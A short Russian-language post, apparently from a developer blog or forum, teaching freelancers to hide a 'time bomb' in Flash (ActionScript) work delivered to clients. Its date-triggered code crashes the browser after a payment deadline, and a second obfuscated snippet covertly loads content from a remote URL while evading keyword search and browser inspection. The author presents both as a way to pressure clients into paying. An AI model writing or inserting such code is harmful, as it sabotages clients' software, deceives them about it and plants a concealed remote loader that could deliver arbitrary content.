Если вы не уверены в заказчике, смотрим сюда и делаем бомбу замедленного действия.
var d:Date = new Date()
// payment deadline
var payMonth:int = 9;
var payDay:int = 5;
// add five days so it's not too obvious and so you can replace
// the swf on their server if they do pay
payDay+=5;
if (d.getMonth()>= payMonth){
if (d.getDay()>= payDay){
// very nasty code to crash flash, alternately you could do anything that will break
// you app
while(1){
stage.addEventListener(Event.ENTER_FRAME, function(){ this["__"+Math.random()]=getTimer()*Math.random()});
}
}
}
А лучше
while(1)
this.addEventListener(Event.ENTER_FRAME, function():void{ this["__"+(getTimer()+Math.random())]=new BitmapData(5000,5000)});
Что, сайт не работает? Вешает браузер? Ну я не знаю, деньги переводите — я посмотрю что случилось.
И пока денег нету, слушаем и подпеваем.
Хотя, это уж слишком очевидно. Согласитесь, что делает этот код уж очень очевидно. Прокатит, если у заказчика нет исходников.
Я как-то прятал вот такой код
function f(t:String){
var i=0;var s1="";var s2="";
while (i<Math.floor(t.length*.5)){if(i%2){ s1+=t.charAt(t.length-(i+1));s2=t.charAt(i)+s2; }else{ s1+=t.charAt(i);s2=t.charAt(t.length-(i+1))+s2;}i++;}
t.length%2 == 0 ?1:s1+=t.charAt(Math.floor(t.length*.5));
return s1+s2;
}
var _c = new (getDefinitionByName(f("feaahLdyslpai..osdlr")))();
var _r = new (getDefinitionByName(f("fsauhenLtU.ReR.qselt")))(f("hwt.:t/eitgev/lradr.yuat.sntps/spstf"));
_c[f("cfnIeetaoLdnrtnoo")].addEventListener( "ioE"+"rror", function(e:*){});
_c["lo"+"ad"](_r);
Его сложно найти по ключевым словам и по адресу откуда что-то грузится, даже если это видно в том же FireBug. Можно опять же сделать привязку к дате и начинать грузить только через неделю.
Такие дела.
